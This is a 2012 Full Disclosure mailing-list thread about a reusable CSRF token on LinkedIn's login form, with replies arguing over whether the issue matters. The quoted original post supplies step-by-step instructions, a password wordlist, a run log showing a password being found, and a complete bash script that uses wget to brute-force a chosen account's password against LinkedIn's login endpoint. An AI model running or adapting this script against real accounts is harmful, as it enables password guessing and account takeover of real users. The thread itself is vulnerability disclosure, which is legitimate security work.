Full Disclosure: Re: LinkedIn CSRF: Login Brute Force

[Alexander Georgiev <alexander.georgiev () daloo de>]

I agree with you, that this is nothing more than doing it via the login
form, but it is not so useless at all. It can be used by an attacker if
he has a bunch of email addresses and want to try "the common"
passwords, since the attack can be implemented very easy. I would expect
LinkedIn to should stop an IP after X wrong logins (no mather if via
this method or normal login) or use some kind of captcha.


Am 17.05.2012 19:50, schrieb Julius Kivimäki:
> Where's the csrf? All I see here is an useless bruteforce attack.
>
> 2012/5/17 Fernando A. Lagos B. <fernando () zerial org
> <mailto:fernando () zerial org>>
>
>     LinkedIn uses a Token into the login form which can be used many times
>     for different usernames. You can do it using the same IP or differents
>     IP, the token will not be verified.
>
>
>
>     I. Step by step
>     ===============
>     1). Login into your LinkedIn account and capture the "sourceAlias" and
>     "csrfToken" variable (example:
>     sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
>
>     2). Use the Token to login into another account:
>     https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain 
> com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
>     <https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () 
> somedomain 
> com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless>
>
>     session_key is the username and session_password is the password.
>
>     3). The password (session_password) is not correct If the
>     requested URL
>     returns "The email address or password you provided does not match our
>     records", else the password if correct.
>
>
>
>     II. PoC
>     =======
>
>     1). The Wordlist (filename: w)
>     [zerial () belcebu ~]$ cat w
>     asdfgh
>     zxcvbnm
>     1234567
>     0987654
>     12345698
>     456_4567
>     123456qwert
>     qwsdcv
>     12wedfgh
>     123456qwerty
>     12345qwei
>     112233
>     [zerial () belcebu ~]$
>
>
>     2). Executing the script:
>     [zerial () belcebu ~]$ sh linkedin.sh panic () zerial org
>     <mailto:panic () zerial org> w
>     Password found: qwsdcv
>     [zerial () belcebu ~]$
>
>     This is the correct password for this test user.
>
>
>
>
>     III. Script
>     ===========
>
>     #!/bin/bash
>     #
>     # usage: ./linkedin.sh username () domain com
>     <mailto:username () domain com> wordlist
>     #
>
>     TOKEN="ajax%3A6265303044444817496"
>     sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
>
>     if [ ! -f $2 ];
>     then
>            echo "file $2 does not exists"
>            exit
>     fi
>
>     _USR=$1
>     for _PWD in $(cat $2);
>     do
>            if [ $(echo -n $_PWD|wc -c) -lt 6 ];
>            then
>                    echo "Ignoring $_PWD (must be grather than 6
>     chars)"; continue
>            fi
>            wget -o /dev/null -O -
>     
> "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless
>     
> <https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless>"|grep
>     'The email address or password you provided does not match our
>     records\|captcha' >>/dev/null
>            if [ $? -eq 1 ];
>            then
>                    echo "Password found: $_PWD"; exit;
>            fi
>     done
>
>     echo "Password NOT found. Try later."
>     #EOF
>
>
>
>
>
>     More info (in spanish):
>     http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/
>
>
>
>
>     cheers,
>     --
>     Fernando A. Lagos Berardi
>     Seguridad Informatica
>     GNU/Linux User #382319
>     Blog: http://blog.zerial.org
>     Jabber: zerial () jabberes org <mailto:zerial () jabberes org>
>
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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